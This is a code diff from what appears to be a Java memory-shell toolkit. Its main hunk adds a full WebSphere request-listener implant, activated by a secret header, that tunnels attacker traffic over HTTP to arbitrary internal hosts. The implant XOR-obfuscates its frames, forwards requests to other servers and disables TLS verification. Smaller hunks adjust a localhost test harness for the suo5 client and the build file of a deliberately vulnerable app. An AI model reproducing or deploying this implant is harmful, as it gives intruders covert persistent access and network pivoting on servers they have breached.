a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java new file mode 100644 index 00000000..bc8fcd60 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java @@ -0,0 +1,597 @@ +package com.reajason.javaweb.memshell.websphere.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + String contentType = request.getContentType(); + if (contentType == null) { + return; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + } catch (Exception ignored) { + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + } +} diff --git a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java index f148bd29..3b9b4f83 100644 --- a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java +++ b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java @@ -31,13 +31,13 @@ public class Suo5Manager { public static void main(String[] args) { System.out.println(suo5Command); - boolean test = test("http://localhost:8081/app/test", "test"); + boolean test = test("http://localhost:32953/app/test", "test"); System.out.println(test); } public static boolean test(String targetUrl, String ua) { ProcessBuilder processBuilder = new ProcessBuilder( - suo5Command, "-t", targetUrl, "--timeout", "5", "-ua", ua + suo5Command, "-t", targetUrl, "--timeout", "5", "-ua", ua, "-H", "Referer: " + targetUrl ); processBuilder.redirectErrorStream(true); ExecutorService executor = Executors.newSingleThreadExecutor(); diff --git a/vul/vul-springboot2-webflux/build.gradle b/vul/vul-springboot2-webflux/build.gradle index 6567e6f7..41467dd4 100644 --- a/vul/vul-springboot2-webflux/build.gradle +++ b/vul/vul-springboot2-webflux/build.gradle @@ -9,6 +9,7 @@ version = '' java { sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 } dependencies {